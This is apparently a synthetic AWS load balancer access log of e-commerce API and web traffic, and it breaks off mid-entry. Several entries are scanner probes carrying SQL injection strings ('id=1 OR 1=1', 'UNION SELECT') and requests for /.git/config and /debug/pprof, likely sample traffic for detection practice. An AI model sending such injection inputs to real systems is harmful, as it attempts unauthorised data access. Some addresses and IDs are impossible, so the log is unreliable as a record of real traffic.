2024-11-01T01:53:08.233158Z prod-api-alb 67.243.161.218:63979 10.0.126.151:443 0.022837 0.026904 0.046633 404 404 181 4992 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d214-4204f6d9ac984befb2d87053" "prod-api-alb.example.com" "-" 7 2024-11-01T01:53:08.233158Z "forward" "-" "-" "10.0.126.151:443" "404" "-" "-" -https 2024-11-01T01:53:09.768587Z staging-alb 189.166.223.199:44565 11.213.63.86:80 0.090083 0.257920 0.050354 200 200 382 4947 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d215-0b32e5a23de34650a6a50b80" "staging-alb.example.com" "-" 0 2024-11-01T01:53:09.768587Z "forward" "-" "-" "11.213.63.86:80" "200" "-" "-" -https 2024-11-01T01:53:10.468756Z prod-web-alb 54.20.104.66:63395 10.0.255.33:443 0.098345 0.405364 0.018780 301 301 858 13133 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d216-cfcff1170db54916afbbd365" "prod-web-alb.example.com" "-" 0 2024-11-01T01:53:10.468756Z "forward" "-" "-" "10.0.255.33:443" "301" "-" "-" -https 2024-11-01T01:53:11.556045Z prod-web-alb 93.48.105.103:53516 10.0.222.70:443 0.096136 0.098759 0.059218 302 302 285 3866 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d217-e8289fcb17dd4551b44e5b1f" "prod-web-alb.example.com" "-" 9 2024-11-01T01:53:11.556045Z "forward" "-" "-" "10.0.222.70:443" "302" "-" "-" -https 2024-11-01T01:53:11.679219Z prod-web-alb 239.229.52.218:43604 10.0.231.126:443 0.004363 0.400135 0.088977 200 200 441 7761 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d217-025fabb175ee4198a584e5c2" "prod-web-alb.example.com" "-" 7 2024-11-01T01:53:11.679219Z "forward" "-" "-" "10.0.231.126:443" "200" "-" "-" -http 2024-11-01T01:53:12.369854Z staging-alb 209.25.115.206:18059 213.106.173.215:8080 0.009928 0.488394 0.096850 200 200 494 11057 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d218-d611bdf0f89f4619ae71773a" "staging-alb.example.com" "-" 3 2024-11-01T01:53:12.369854Z "forward" "-" "-" "213.106.173.215:8080" "200" "-" "-" -https 2024-11-01T01:53:13.984621Z staging-alb 73.226.173.90:49252 133.163.212.166:8080 0.127234 0.731582 0.076750 200 200 294 12087 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d219-7bdf1e6d6bf9427eb26376f0" "staging-alb.example.com" "-" 8 2024-11-01T01:53:13.984621Z "forward" "-" "-" "133.163.212.166:8080" "200" "-" "-" -https 2024-11-01T01:53:15.856972Z staging-alb 238.104.117.154:31777 236.135.110.229:8080 0.138402 0.016665 0.143236 301 301 822 255 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d21b-0438826b61514cf696855915" "staging-alb.example.com" "-" 0 2024-11-01T01:53:15.856972Z "forward" "-" "-" "236.135.110.229:8080" "301" "-" "-" -https 2024-11-01T01:53:16.882148Z prod-api-alb 239.69.128.225:21406 10.0.82.51:443 0.093407 0.163438 0.080292 200 200 55 9301 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d21c-c40d705d3d2a4aa5a93a799c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:53:16.882148Z "forward" "-" "-" "10.0.82.51:443" "200" "-" "-" -https 2024-11-01T01:53:18.652727Z prod-web-alb 143.3.46.107:56267 10.0.228.141:443 0.013110 0.413094 0.097291 302 302 310 1080 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d21e-c4b4cb7c1ed049438fe57bce" "prod-web-alb.example.com" "-" 1 2024-11-01T01:53:18.652727Z "forward" "-" "-" "10.0.228.141:443" "302" "-" "-" -http 2024-11-01T01:53:20.016100Z staging-alb 106.23.134.14:15595 210.44.19.124:80 0.091819 0.556806 0.119521 200 200 497 8881 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d220-39bacd730f0a42b9929ab0bf" "staging-alb.example.com" "-" 4 2024-11-01T01:53:20.016100Z "forward" "-" "-" "210.44.19.124:80" "200" "-" "-" -https 2024-11-01T01:53:20.284336Z prod-api-alb 120.99.234.231:18742 10.0.76.157:443 0.066357 0.492739 0.056884 200 200 194 13702 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d220-eaeca5c5225741ce9cf674a3" "prod-api-alb.example.com" "-" 5 2024-11-01T01:53:20.284336Z "forward" "-" "-" "10.0.76.157:443" "200" "-" "-" -https 2024-11-01T01:53:21.424148Z prod-web-alb 77.1.148.252:50344 10.0.170.184:443 0.079168 0.238816 0.048152 302 302 99 2159 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d221-6ecba12d29bb4b85b28ccc2f" "prod-web-alb.example.com" "-" 3 2024-11-01T01:53:21.424148Z "forward" "-" "-" "10.0.170.184:443" "302" "-" "-" -https 2024-11-01T01:53:23.410020Z prod-api-alb 144.187.33.38:44331 10.0.61.153:443 0.094349 0.294057 0.069748 200 200 67 295 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d223-bbc463d629f94aff8d89b182" "prod-api-alb.example.com" "-" 8 2024-11-01T01:53:23.410020Z "forward" "-" "-" "10.0.61.153:443" "200" "-" "-" -https 2024-11-01T01:53:25.153526Z staging-alb 69.175.62.162:24663 204.233.128.30:8080 0.020115 0.686214 0.025443 200 200 517 4748 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d225-943adff32a4d49b2965da8e4" "staging-alb.example.com" "-" 2 2024-11-01T01:53:25.153526Z "forward" "-" "-" "204.233.128.30:8080" "200" "-" "-" -https 2024-11-01T01:53:25.856689Z staging-alb 86.158.25.19:31045 185.42.177.189:80 0.126242 0.046938 0.139946 200 200 108 5823 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d225-c864cb20bafd40939026e72d" "staging-alb.example.com" "-" 5 2024-11-01T01:53:25.856689Z "forward" "-" "-" "185.42.177.189:80" "200" "-" "-" -https 2024-11-01T01:53:27.465738Z prod-api-alb 217.157.103.251:49841 10.0.143.17:443 0.013621 0.205488 0.026133 200 200 380 1563 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d227-84c77e955bb840cd85bfd1be" "prod-api-alb.example.com" "-" 8 2024-11-01T01:53:27.465738Z "forward" "-" "-" "10.0.143.17:443" "200" "-" "-" -http 2024-11-01T01:53:27.652326Z staging-alb 250.142.93.30:52430 126.187.191.168:80 0.053852 0.644770 0.140461 302 302 442 8250 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d227-bff94ad0b1fe429bb266ca7f" "staging-alb.example.com" "-" 5 2024-11-01T01:53:27.652326Z "forward" "-" "-" "126.187.191.168:80" "302" "-" "-" -https 2024-11-01T01:53:29.097384Z prod-api-alb 159.228.0.17:42652 10.0.169.91:443 0.073604 0.193432 0.087247 302 302 910 6250 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d229-6857230665dd43068ab21e49" "prod-api-alb.example.com" "-" 0 2024-11-01T01:53:29.097384Z "forward" "-" "-" "10.0.169.91:443" "302" "-" "-" -https 2024-11-01T01:53:29.531067Z prod-web-alb 143.58.18.231:62548 10.0.184.44:443 0.023313 0.190614 0.098138 404 404 701 3814 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d229-ab1cbb6609004e09aa996a49" "prod-web-alb.example.com" "-" 0 2024-11-01T01:53:29.531067Z "forward" "-" "-" "10.0.184.44:443" "404" "-" "-" -https 2024-11-01T01:53:30.339667Z prod-api-alb 191.199.76.124:29724 10.0.43.158:443 0.037474 0.423995 0.017564 301 301 569 4597 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d22a-4fe384267e024f1bbadfaa21" "prod-api-alb.example.com" "-" 7 2024-11-01T01:53:30.339667Z "forward" "-" "-" "10.0.43.158:443" "301" "-" "-" -https 2024-11-01T01:53:31.890469Z prod-api-alb 110.175.218.211:41142 10.0.213.166:443 0.024389 0.449878 0.084666 200 200 420 11890 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d22b-3e3717dc47d04cc0a22810d9" "prod-api-alb.example.com" "-" 3 2024-11-01T01:53:31.890469Z "forward" "-" "-" "10.0.213.166:443" "200" "-" "-" -https 2024-11-01T01:53:32.239364Z prod-api-alb 124.159.147.32:31771 10.0.119.22:443 0.025831 0.118719 0.057993 200 200 472 14399 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d22c-0cc5f07c8fdb4a0db5a943df" "prod-api-alb.example.com" "-" 4 2024-11-01T01:53:32.239364Z "forward" "-" "-" "10.0.119.22:443" "200" "-" "-" -https 2024-11-01T01:53:33.830047Z prod-web-alb 151.4.223.229:24063 10.0.131.182:443 0.059766 0.477535 0.043431 200 200 297 11410 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d22d-b7f604f806a2450d81e6450c" "prod-web-alb.example.com" "-" 7 2024-11-01T01:53:33.830047Z "forward" "-" "-" "10.0.131.182:443" "200" "-" "-" -https 2024-11-01T01:53:34.389744Z prod-api-alb 104.92.188.123:40016 10.0.212.160:443 0.096181 0.057060 0.098903 301 301 12 3384 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d22e-e2d3ebeb828e41eb81c1f97c" "prod-api-alb.example.com" "-" 2 2024-11-01T01:53:34.389744Z "forward" "-" "-" "10.0.212.160:443" "301" "-" "-" -https 2024-11-01T01:53:35.031879Z prod-web-alb 244.10.253.44:55969 10.0.113.83:443 0.026088 0.315711 0.079168 200 200 263 4161 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d22f-08d9bdc6c46d4aee824ec4e3" "prod-web-alb.example.com" "-" 6 2024-11-01T01:53:35.031879Z "forward" "-" "-" "10.0.113.83:443" "200" "-" "-" -https 2024-11-01T01:53:36.109258Z prod-api-alb 139.254.229.191:54403 10.0.194.164:443 0.025229 0.408111 0.029297 302 302 600 12200 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d230-0e1e1592b5104589aec2be67" "prod-api-alb.example.com" "-" 1 2024-11-01T01:53:36.109258Z "forward" "-" "-" "10.0.194.164:443" "302" "-" "-" -http 2024-11-01T01:53:37.575648Z staging-alb 124.52.187.200:18087 236.201.137.58:80 0.097901 0.380582 0.105209 200 200 125 6565 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d231-77f716bfeded4053b7c7839e" "staging-alb.example.com" "-" 7 2024-11-01T01:53:37.575648Z "forward" "-" "-" "236.201.137.58:80" "200" "-" "-" -http 2024-11-01T01:53:37.947865Z staging-alb 16.249.94.122:25776 151.1.146.180:8080 0.019309 0.356273 0.139530 200 200 408 10753 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d231-fcb72e9bb68e475e8cfda752" "staging-alb.example.com" "-" 7 2024-11-01T01:53:37.947865Z "forward" "-" "-" "151.1.146.180:8080" "200" "-" "-" -https 2024-11-01T01:53:38.942838Z prod-web-alb 113.32.229.120:15441 10.0.112.159:443 0.093440 0.429599 0.046292 301 301 313 5115 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d232-acd7db78ee05421fa755a530" "prod-web-alb.example.com" "-" 7 2024-11-01T01:53:38.942838Z "forward" "-" "-" "10.0.112.159:443" "301" "-" "-" -https 2024-11-01T01:53:40.710906Z prod-api-alb 185.181.178.132:43437 10.0.199.214:443 0.016250 0.473315 0.095967 500 500 30 7972 "POST /users?id=1 OR 1=1 HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d234-30c714ab9d484f8ea9807ca1" "-" "-" 4 2024-11-01T01:53:40.710906Z "forward" "-" "-" "10.0.199.214:443" "500" "-" "-" -https 2024-11-01T01:53:41.080366Z prod-api-alb 193.27.228.155:59224 10.0.123.249:443 0.079030 0.171423 0.001424 403 403 681 6888 "GET /debug/pprof HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d235-aab4c67277214d2a88f9a35a" "-" "-" 7 2024-11-01T01:53:41.080366Z "forward" "-" "-" "10.0.123.249:443" "403" "-" "-" -https 2024-11-01T01:53:41.832600Z prod-web-alb 248.48.205.104:10848 10.0.208.178:443 0.037203 0.474610 0.063437 302 302 352 13476 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d235-539547b661a644139436c680" "prod-web-alb.example.com" "-" 8 2024-11-01T01:53:41.832600Z "forward" "-" "-" "10.0.208.178:443" "302" "-" "-" -https 2024-11-01T01:53:42.137623Z prod-api-alb 185.181.129.31:13094 10.0.206.233:443 0.096568 0.176307 0.043815 500 500 982 7944 "GET /search?q=1' UNION SELECT HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d236-c52f2531ac0c4fe1a50f13cb" "-" "-" 7 2024-11-01T01:53:42.137623Z "forward" "-" "-" "10.0.206.233:443" "500" "-" "-" -https 2024-11-01T01:53:42.276312Z prod-web-alb 201.216.101.115:35935 10.0.21.5:443 0.036909 0.240541 0.065431 200 200 235 6579 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d236-d23c735c637d466daa3d3fe9" "prod-web-alb.example.com" "-" 0 2024-11-01T01:53:42.276312Z "forward" "-" "-" "10.0.21.5:443" "200" "-" "-" -https 2024-11-01T01:53:43.136634Z prod-api-alb 203.117.217.154:52621 10.0.112.239:443 0.077766 0.412779 0.050233 200 200 833 8664 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d237-717c868733eb46e992af03a2" "prod-api-alb.example.com" "-" 0 2024-11-01T01:53:43.136634Z "forward" "-" "-" "10.0.112.239:443" "200" "-" "-" -https 2024-11-01T01:53:45.062332Z prod-web-alb 141.49.43.132:52557 10.0.163.244:443 0.020152 0.437665 0.068655 200 200 426 4746 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d239-a869bd08d97c475592ca491b" "prod-web-alb.example.com" "-" 1 2024-11-01T01:53:45.062332Z "forward" "-" "-" "10.0.163.244:443" "200" "-" "-" -https 2024-11-01T01:53:46.538626Z prod-api-alb 168.84.233.244:32083 10.0.168.71:443 0.039016 0.312232 0.078846 200 200 504 8641 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d23a-6a218048a9e34522b1af2bc5" "prod-api-alb.example.com" "-" 0 2024-11-01T01:53:46.538626Z "forward" "-" "-" "10.0.168.71:443" "200" "-" "-" -http 2024-11-01T01:53:47.745210Z staging-alb 203.230.127.239:20429 111.146.79.41:8080 0.005914 0.619982 0.134732 200 200 534 12547 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d23b-9b7ab91d5e45491c9078a31a" "staging-alb.example.com" "-" 10 2024-11-01T01:53:47.745210Z "forward" "-" "-" "111.146.79.41:8080" "200" "-" "-" -https 2024-11-01T01:53:49.704572Z prod-api-alb 68.140.5.132:15699 10.0.150.253:443 0.074667 0.038256 0.043299 301 301 766 13547 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d23d-e360e022fe1c44f58a8b1c1e" "prod-api-alb.example.com" "-" 4 2024-11-01T01:53:49.704572Z "forward" "-" "-" "10.0.150.253:443" "301" "-" "-" -https 2024-11-01T01:53:51.503893Z prod-api-alb 164.115.221.53:29713 10.0.68.51:443 0.075208 0.224410 0.094188 404 404 511 717 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d23f-8a8dcd717351454c9f915ffa" "prod-api-alb.example.com" "-" 7 2024-11-01T01:53:51.503893Z "forward" "-" "-" "10.0.68.51:443" "404" "-" "-" -https 2024-11-01T01:53:52.269033Z prod-api-alb 31.54.25.40:47041 10.0.231.82:443 0.078145 0.177769 0.001504 200 200 663 728 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d240-c33018dbbb474209b7b4077b" "prod-api-alb.example.com" "-" 5 2024-11-01T01:53:52.269033Z "forward" "-" "-" "10.0.231.82:443" "200" "-" "-" -https 2024-11-01T01:53:53.130846Z prod-api-alb 152.222.219.151:51573 10.0.77.106:443 0.096339 0.055152 0.052241 200 200 974 2826 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d241-1bed1333b384474d89a3e2a9" "prod-api-alb.example.com" "-" 5 2024-11-01T01:53:53.130846Z "forward" "-" "-" "10.0.77.106:443" "200" "-" "-" -https 2024-11-01T01:53:54.153084Z staging-alb 185.181.166.125:14572 230.9.33.190:8080 0.114072 0.527688 0.040998 301 301 108 9462 "POST /.git/config HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d242-fc3a0bc43e8244089cc07467" "-" "-" 6 2024-11-01T01:53:54.153084Z "forward" "-" "-" "230.9.33.190:8080" "301" "-" "-" -https 2024-11-01T01:53:56.088239Z prod-api-alb 90.170.241.67:38701 10.0.197.72:443 0.046428 0.002845 0.039236 200 200 99 14095 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d244-4ec0603ff3a746cd80ca0e08" "prod-api-alb.example.com" "-" 3 2024-11-01T01:53:56.088239Z "forward" "-" "-" "10.0.197.72:443" "200" "-" "-" -https 2024-11-01T01:53:57.389462Z prod-api-alb 240.191.42.164:24059 10.0.65.218:443 0.039102 0.058630 0.033008 200 200 361 2869 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d245-c4d346960fc7474ab15f2e5a" "prod-api-alb.example.com" "-" 0 2024-11-01T01:53:57.389462Z "forward" "-" "-" "10.0.65.218:443" "200" "-" "-" -https 2024-11-01T01:53:58.947327Z staging-alb 42.100.168.62:54225 79.88.79.236:80 0.062950 0.536875 0.025272 301 301 893 14394 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d246-78af434b8cbd42e1b84bc631" "staging-alb.example.com" "-" 6 2024-11-01T01:53:58.947327Z "forward" "-" "-" "79.88.79.236:80" "301" "-" "-" -https 2024-11-01T01:53:59.709948Z prod-api-alb 13.54.240.124:47229 10.0.20.143:443 0.067712 0.369704 0.066011 404 404 212 